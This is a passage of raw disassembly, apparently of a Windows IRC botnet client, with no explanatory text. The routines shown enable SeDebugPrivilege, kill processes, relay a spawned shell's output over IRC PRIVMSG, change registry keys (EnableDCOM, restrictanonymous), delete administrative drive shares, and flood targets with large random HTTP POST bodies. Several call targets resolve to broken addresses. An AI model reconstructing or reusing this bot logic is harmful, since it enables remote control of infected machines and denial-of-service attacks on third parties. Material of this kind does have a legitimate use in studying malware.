[ebp+var_8] call dword_4C9218 test eax, eax jnz loc_419C6E xor ebx, ebx loc_419D97: ; CODE XREF: sub_419BAA+9Dj ; sub_419BAA+B3j push [ebp+var_8] call esi loc_419D9C: ; CODE XREF: sub_419BAA+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B3F pop ecx pop ecx loc_419DA9: ; CODE XREF: sub_419BAA+3Aj ; sub_419BAA+46j ... xor eax, eax loc_419DAB: ; CODE XREF: sub_419BAA+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_419DB0: ; CODE XREF: sub_419BAA+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi nop call near ptr 273066Ch test eax, eax jnz short loc_419DD4 push edi call esi jmp short loc_419DA9 ; --------------------------------------------------------------------------- loc_419DD4: ; CODE XREF: sub_419BAA+223j push 1 pop eax jmp short loc_419DAB sub_419BAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419DD9 proc near ; DATA XREF: sub_401AC7+2670o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_439C60 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41C006 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_419E38 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409862 add esp, 14h loc_419E38: ; CODE XREF: sub_419DD9+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_419BAA add esp, 18h test eax, eax jnz short loc_419E60 push offset unk_439C3C jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419DD9+7Ej push offset unk_439C18 loc_419E65: ; CODE XREF: sub_419DD9+85j lea eax, [ebp+var_298] push eax call sub_41C006 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_419E98 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409862 add esp, 14h loc_419E98: ; CODE XREF: sub_419DD9+9Dj lea eax, [ebp+var_298] push eax call sub_415CEE push [ebp+var_14] call sub_40B6C9 pop ecx pop ecx push esi nop call near ptr 2700000h pop edi pop esi sub_419DD9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419EB7 proc near ; CODE XREF: sub_401AC7+7723p ; sub_40B4E8+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 26A0840h mov esi, eax test esi, esi jz short loc_419EE9 push 0 push esi nop call near ptr 273066Ch test eax, eax jnz short loc_419EE9 push esi xor edi, edi call near ptr 2680000h nop loc_419EE9: ; CODE XREF: sub_419EB7+1Aj ; sub_419EB7+27j mov eax, edi pop edi pop esi retn sub_419EB7 endp ; --------------------------------------------------------------------------- word_419EEE dw 3356h ; DATA XREF: ___:004015E8o dd 56016AF6h, 56565656h, 0FFFCADE8h, 18C483FFh, 9A5C35FFh dd 0E8900043h, 228662Fh db 0EBh, 0E3h ; =============== S U B R O U T I N E ======================================= sub_419F0E proc near ; CODE XREF: sub_419F3E+2Ap ; sub_419F76+7Ep ... mov eax, dword_4D9588 push esi mov esi, dword_427078 cmp eax, 0FFFFFFFFh jz short loc_419F22 push eax call esi loc_419F22: ; CODE XREF: sub_419F0E+Fj mov eax, dword_4D9590 cmp eax, 0FFFFFFFFh jz short loc_419F2F push eax call esi loc_419F2F: ; CODE XREF: sub_419F0E+1Cj mov eax, dword_4D9584 cmp eax, 0FFFFFFFFh jz short loc_419F3C push eax call esi loc_419F3C: ; CODE XREF: sub_419F0E+29j pop esi retn sub_419F0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F3E proc near ; CODE XREF: sub_401AC7+746Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41B960 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4D958C call near ptr 2720000h nop test eax, eax jnz short loc_419F71 call sub_419F0E xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419F71: ; CODE XREF: sub_419F3E+28j push 1 pop eax leave retn sub_419F3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F76 proc near ; CODE XREF: sub_419FFD+D3p ; sub_419FFD+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43B4B8 push [ebp+arg_4] call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_419FB9 push 7D0h nop call near ptr 26A053Bh push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41C006 add esp, 10h jmp short loc_419FD0 ; --------------------------------------------------------------------------- loc_419FB9: ; CODE XREF: sub_419F76+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41C006 add esp, 0Ch loc_419FD0: ; CODE XREF: sub_419F76+41j lea eax, [ebp+var_200] push 0 push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4C9354 test eax, eax jg short loc_419FF9 call sub_419F0E loc_419FF9: ; CODE XREF: sub_419F76+7Cj xor eax, eax leave retn sub_419F76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FFD proc near ; DATA XREF: sub_41A152+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4D9594 loc_41A015: ; CODE XREF: sub_419FFD+79j ; sub_419FFD+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4D9588 nop call near ptr 2850A42h test eax, eax jz loc_41A0E3 cmp [ebp+var_4], edi jnz short loc_41A078 lea eax, [ebp+var_8] push eax push dword_4D9584 nop call near ptr 285056Bh test eax, eax jz short loc_41A06E cmp [ebp+var_8], 103h jnz loc_41A107 loc_41A06E: ; CODE XREF: sub_419FFD+62j push 0Ah nop call near ptr 26A053Bh jmp short loc_41A015 ; --------------------------------------------------------------------------- loc_41A078: ; CODE XREF: sub_419FFD+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_41A08F loc_41A07F: ; CODE XREF: sub_419FFD+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_41A0DD inc eax cmp eax, [ebp+var_4] jb short loc_41A07F loc_41A08F: ; CODE XREF: sub_419FFD+80j mov [ebp+var_4], esi loc_41A092: ; CODE XREF: sub_419FFD+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4D9588 nop call near ptr 27110B5h test eax, eax jz short loc_41A12F lea eax, [ebp+var_20C] push eax push ebx push dword_4D95C8 call sub_419F76 add esp, 0Ch jmp loc_41A015 ; --------------------------------------------------------------------------- loc_41A0DD: ; CODE XREF: sub_419FFD+8Aj inc eax mov [ebp+var_4], eax jmp short loc_41A092 ; --------------------------------------------------------------------------- loc_41A0E3: ; CODE XREF: sub_419FFD+45j push offset unk_439CE8 push ebx push dword_4D95C8 call sub_419F76 push [ebp+arg_0] call sub_40B6C9 add esp, 10h push 1 nop call near ptr 2700000h loc_41A107: ; CODE XREF: sub_419FFD+6Bj call sub_419F0E push offset unk_439CC0 push ebx push dword_4D95C8 call sub_419F76 push [ebp+arg_0] call sub_40B6C9 add esp, 10h push edi nop call near ptr 2700000h loc_41A12F: ; CODE XREF: sub_419FFD+C3j push offset unk_439C90 push ebx push dword_4D95C8 call sub_419F76 push [ebp+arg_0] call sub_40B6C9 add esp, 10h push edi call near ptr 2700000h nop sub_419FFD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A152 proc near ; CODE XREF: sub_401AC7+2494p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419F0E xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_433EDC push esi call dword_4C93C0 test eax, eax jz loc_41A24C push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_427114 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_41A24C lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_41A24C mov edi, dword_427110 push 3 push esi push esi push offset dword_4D958C call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 27307F4h test eax, eax jz short loc_41A24C push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41BD10 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41BD10 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43B4B8 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call near ptr 268033Fh nop test eax, eax jnz short loc_41A254 loc_41A24C: ; CODE XREF: sub_41A152+2Fj ; sub_41A152+5Cj ... or eax, 0FFFFFFFFh jmp loc_41A302 ; --------------------------------------------------------------------------- loc_41A254: ; CODE XREF: sub_41A152+F8j push [ebp+var_4] mov edi, dword_427078 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4D9588, eax mov eax, [ebp+var_8] mov dword_4D9590, eax mov eax, [ebp+var_2C] mov dword_4D9584, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4D95C8, eax jz short loc_41A28E push [ebp+arg_4] jmp short loc_41A28F ; --------------------------------------------------------------------------- loc_41A28E: ; CODE XREF: sub_41A152+135j push ebx loc_41A28F: ; CODE XREF: sub_41A152+13Aj push offset dword_4D9594 call sub_41C006 pop ecx pop ecx push esi push 0Ah push offset unk_439D4C call sub_40B3AD mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43C248[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419FFD push esi push esi nop call near ptr 26A0586h cmp eax, esi mov dword_43C254[edi], eax jnz short loc_41A300 nop call near ptr 26A0EA9h push eax lea eax, [ebp+var_378] push offset unk_439D18 push eax call sub_41C006 lea eax, [ebp+var_378] push eax call sub_415CEE add esp, 10h loc_41A300: ; CODE XREF: sub_41A152+185j xor eax, eax loc_41A302: ; CODE XREF: sub_41A152+FDj pop edi pop esi pop ebx leave retn sub_41A152 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A307 proc near ; DATA XREF: sub_401AC7+2DD8o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41A34E call sub_41A367 jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A34E: ; CODE XREF: sub_41A307+3Ej call sub_41A68B loc_41A353: ; CODE XREF: sub_41A307+45j add esp, 10h push [ebp+var_14] call sub_40B6C9 pop ecx push 0 nop call near ptr 2700000h sub_41A307 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A367 proc near ; CODE XREF: sub_41A307+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4C93D4, edi jnz loc_41A499 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4C9374 test eax, eax jnz short loc_41A3F2 mov ax, word_438AC0 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4C9328 test eax, eax jz short loc_41A3D4 push offset dword_439FE8 jmp short loc_41A3D9 ; --------------------------------------------------------------------------- loc_41A3D4: ; CODE XREF: sub_41A367+64j push offset dword_439FC8 loc_41A3D9: ; CODE XREF: sub_41A367+6Bj lea eax, [ebp+var_214] push eax call sub_41C006 pop ecx pop ecx push [ebp+var_4] call dword_4C92E0 jmp short loc_41A405 ; --------------------------------------------------------------------------- loc_41A3F2: ; CODE XREF: sub_41A367+36j lea eax, [ebp+var_214] push offset dword_439F98 push eax call sub_41C006 pop ecx pop ecx loc_41A405: ; CODE XREF: sub_41A367+89j cmp [ebp+arg_C], edi jnz short loc_41A424 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A424: ; CODE XREF: sub_41A367+A1j lea eax, [ebp+var_214] push eax call sub_415CEE pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4C9374 test eax, eax jnz short loc_41A492 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4C9328 test eax, eax jz short loc_41A474 push offset dword_439F48 jmp short loc_41A479 ; --------------------------------------------------------------------------- loc_41A474: ; CODE XREF: sub_41A367+104j push offset dword_439F14 loc_41A479: ; CODE XREF: sub_41A367+10Bj lea eax, [ebp+var_214] push eax call sub_41C006 pop ecx pop ecx push [ebp+var_4] call dword_4C92E0 jmp short loc_41A4AC ; --------------------------------------------------------------------------- loc_41A492: ; CODE XREF: sub_41A367+E2j push offset dword_439ED8 jmp short loc_41A49E ; --------------------------------------------------------------------------- loc_41A499: ; CODE XREF: sub_41A367+13j push offset dword_439EA8 loc_41A49E: ; CODE XREF: sub_41A367+130j lea eax, [ebp+var_214] push eax call sub_41C006 pop ecx pop ecx loc_41A4AC: ; CODE XREF: sub_41A367+129j cmp [ebp+arg_C], edi jnz short loc_41A4CB push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A4CB: ; CODE XREF: sub_41A367+148j lea eax, [ebp+var_214] push eax call sub_415CEE cmp dword_4C93FC, edi pop ecx jnz loc_41A646 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A4EE: ; CODE XREF: sub_41A367+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4C9248 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A58B cmp eax, 0EAh jz short loc_41A58B mov esi, offset off_439D70 loc_41A51F: ; CODE XREF: sub_41A367+21Dj push dword ptr [esi] push edi call sub_419175 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A536 push offset dword_439E84 jmp short loc_41A53B ; --------------------------------------------------------------------------- loc_41A536: ; CODE XREF: sub_41A367+1C6j push offset dword_439E58 loc_41A53B: ; CODE XREF: sub_41A367+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41C100 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A56E push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A56E: ; CODE XREF: sub_41A367+1EBj lea eax, [ebp+var_214] push eax call sub_415CEE add esi, 8 pop ecx cmp esi, offset dword_439D90 jl short loc_41A51F jmp loc_41A623 ; --------------------------------------------------------------------------- loc_41A58B: ; CODE XREF: sub_41A367+1AAj ; sub_41A367+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A61A loc_41A59A: ; CODE XREF: sub_41A367+2AFj mov edi, [esi] push edi call sub_41DFB7 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A60F push edi call sub_419062 push eax push 0 call sub_419175 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A5C9 push offset dword_439E34 jmp short loc_41A5CE ; --------------------------------------------------------------------------- loc_41A5C9: ; CODE XREF: sub_41A367+259j push offset dword_439E08 loc_41A5CE: ; CODE XREF: sub_41A367+260j lea eax, [ebp+var_214] push 200h push eax call sub_41C100 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A602 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A602: ; CODE XREF: sub_41A367+27Fj lea eax, [ebp+var_214] push eax call sub_415CEE pop ecx loc_41A60F: ; CODE XREF: sub_41A367+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A59A xor edi, edi loc_41A61A: ; CODE XREF: sub_41A367+22Dj push [ebp+var_8] call dword_4C9394 loc_41A623: ; CODE XREF: sub_41A367+21Fj cmp [ebp+var_10], 0EAh jz loc_41A4EE lea eax, [ebp+var_214] push offset dword_439DE0 push eax call sub_41C006 pop ecx pop ecx pop ebx jmp short loc_41A659 ; --------------------------------------------------------------------------- loc_41A646: ; CODE XREF: sub_41A367+177j lea eax, [ebp+var_214] push offset dword_439DB0 push eax call sub_41C006 pop ecx pop ecx loc_41A659: ; CODE XREF: sub_41A367+2DDj cmp [ebp+arg_C], edi jnz short loc_41A677 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A677: ; CODE XREF: sub_41A367+2F5j lea eax, [ebp+var_214] push eax call sub_415CEE pop ecx push 1 pop eax pop edi pop esi leave retn sub_41A367 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A68B proc near ; CODE XREF: sub_41A307:loc_41A34Ep var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4C93D4, ebx push esi jnz loc_41A7B9 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4C9374 test eax, eax jnz short loc_41A716 mov ax, word_438B04 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4C9328 test eax, eax jz short loc_41A6F8 push offset dword_43A160 jmp short loc_41A6FD ; --------------------------------------------------------------------------- loc_41A6F8: ; CODE XREF: sub_41A68B+64j push offset dword_43A144 loc_41A6FD: ; CODE XREF: sub_41A68B+6Bj lea eax, [ebp+var_220] push eax call sub_41C006 pop ecx pop ecx push [ebp+var_4] call dword_4C92E0 jmp short loc_41A729 ; --------------------------------------------------------------------------- loc_41A716: ; CODE XREF: sub_41A68B+36j lea eax, [ebp+var_220] push offset dword_439F98 push eax call sub_41C006 pop ecx pop ecx loc_41A729: ; CODE XREF: sub_41A68B+89j cmp [ebp+arg_C], ebx jnz short loc_41A748 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A748: ; CODE XREF: sub_41A68B+A1j lea eax, [ebp+var_220] push eax call sub_415CEE pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4C9374 test eax, eax jnz short loc_41A7B2 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4C9328 test eax, eax jz short loc_41A794 push offset dword_43A104 jmp short loc_41A799 ; --------------------------------------------------------------------------- loc_41A794: ; CODE XREF: sub_41A68B+100j push offset dword_43A0CC loc_41A799: ; CODE XREF: sub_41A68B+107j lea eax, [ebp+var_220] push eax call sub_41C006 pop ecx pop ecx push [ebp+var_4] call dword_4C92E0 jmp short loc_41A7CC ; --------------------------------------------------------------------------- loc_41A7B2: ; CODE XREF: sub_41A68B+E2j push offset dword_43A090 jmp short loc_41A7BE ; --------------------------------------------------------------------------- loc_41A7B9: ; CODE XREF: sub_41A68B+13j push offset dword_439EA8 loc_41A7BE: ; CODE XREF: sub_41A68B+12Cj lea eax, [ebp+var_220] push eax call sub_41C006 pop ecx pop ecx loc_41A7CC: ; CODE XREF: sub_41A68B+125j cmp [ebp+arg_C], ebx jnz short loc_41A7EB push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A7EB: ; CODE XREF: sub_41A68B+144j lea eax, [ebp+var_220] push eax call sub_415CEE cmp dword_4C93FC, ebx pop ecx jnz loc_41A95D push edi mov esi, offset off_439D70 mov edi, 200h loc_41A80F: ; CODE XREF: sub_41A68B+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_4190C9 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A82A push offset dword_43A070 jmp short loc_41A82F ; --------------------------------------------------------------------------- loc_41A82A: ; CODE XREF: sub_41A68B+196j push offset dword_43A048 loc_41A82F: ; CODE XREF: sub_41A68B+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41C100 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A85E push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A85E: ; CODE XREF: sub_41A68B+1B7j lea eax, [ebp+var_220] push eax call sub_415CEE add esi, 8 pop ecx cmp esi, offset off_439D80 jl short loc_41A80F nop call near ptr 2860000h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A945 loc_41A889: ; CODE XREF: sub_41A68B+2B4j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A93A cmp bl, 41h jz loc_41A93A movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41C100 push esi push offset aC_0 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_41C100 add esp, 20h lea eax, [ebp+var_20] push eax call dword_4C9364 cmp eax, 3 jnz short loc_41A93A lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_4190C9 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A8F8 push offset dword_43A070 jmp short loc_41A8FD ; --------------------------------------------------------------------------- loc_41A8F8: ; CODE XREF: sub_41A68B+264j push offset dword_43A048 loc_41A8FD: ; CODE XREF: sub_41A68B+26Bj lea eax, [ebp+var_220] push edi push eax call sub_41C100 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A92D push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A92D: ; CODE XREF: sub_41A68B+286j lea eax, [ebp+var_220] push eax call sub_415CEE pop ecx loc_41A93A: ; CODE XREF: sub_41A68B+206j ; sub_41A68B+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A889 loc_41A945: ; CODE XREF: sub_41A68B+1F8j lea eax, [ebp+var_220] push offset dword_43A018 push eax call sub_41C006 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A970 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A68B+173j lea eax, [ebp+var_220] push offset dword_439DB0 loc_41A968: ; DATA XREF: Themida_:0054DFF5o push eax call sub_41C006 pop ecx pop ecx loc_41A970: ; CODE XREF: sub_41A68B+2D0j cmp [ebp+arg_C], ebx jnz short loc_41A98E push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A98E: ; CODE XREF: sub_41A68B+2E8j lea eax, [ebp+var_220] push eax call sub_415CEE pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A68B endp ; =============== S U B R O U T I N E ======================================= sub_41A9A2 proc near ; CODE XREF: sub_41AB97+CBp ; sub_41AB97+DDp ... arg_0 = dword ptr 4 call near ptr 26B0D7Ah nop push eax call sub_41C058 pop ecx call sub_41C062 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A9A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A9BC proc near ; CODE XREF: sub_41AB97+D4p ; sub_41AB97+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41B960 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41AB93 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41BD10 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40A8E4 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41AB93 push 50h call dword_4C9304 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4C9384 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41AB93 lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4C92AC cmp eax, 0FFFFFFFFh jz loc_41AB93 push 32003h call sub_41D735 mov edi, dword_4270B8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41C058 call sub_41C062 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41BD10 push 32000h push esi push ebx call sub_41BD10 push ebx call sub_41B960 push 323EAh mov ebx, eax call sub_41D735 push ebx mov esi, eax push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41C006 push [ebp+var_8] push esi call sub_41C630 push offset asc_4341E4 ; "\r\n" push esi call sub_41C630 add esp, 40h push esi call sub_41B960 mov ebx, eax pop ecx mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41AB13 mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41AAE3 ; --------------------------------------------------------------------------- loc_41AAE0: ; CODE XREF: sub_41A9BC+155j mov eax, [ebp+arg_0] loc_41AAE3: ; CODE XREF: sub_41A9BC+122j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41AAF3 push [ebp+var_C] jmp short loc_41AAF4 ; --------------------------------------------------------------------------- loc_41AAF3: ; CODE XREF: sub_41A9BC+130j push ebx loc_41AAF4: ; CODE XREF: sub_41A9BC+135j add eax, esi push eax push [ebp+var_4] call dword_4C9354 cmp eax, 0FFFFFFFFh jz short loc_41AB7A add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41AAE0 loc_41AB13: ; CODE XREF: sub_41A9BC+118j call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild 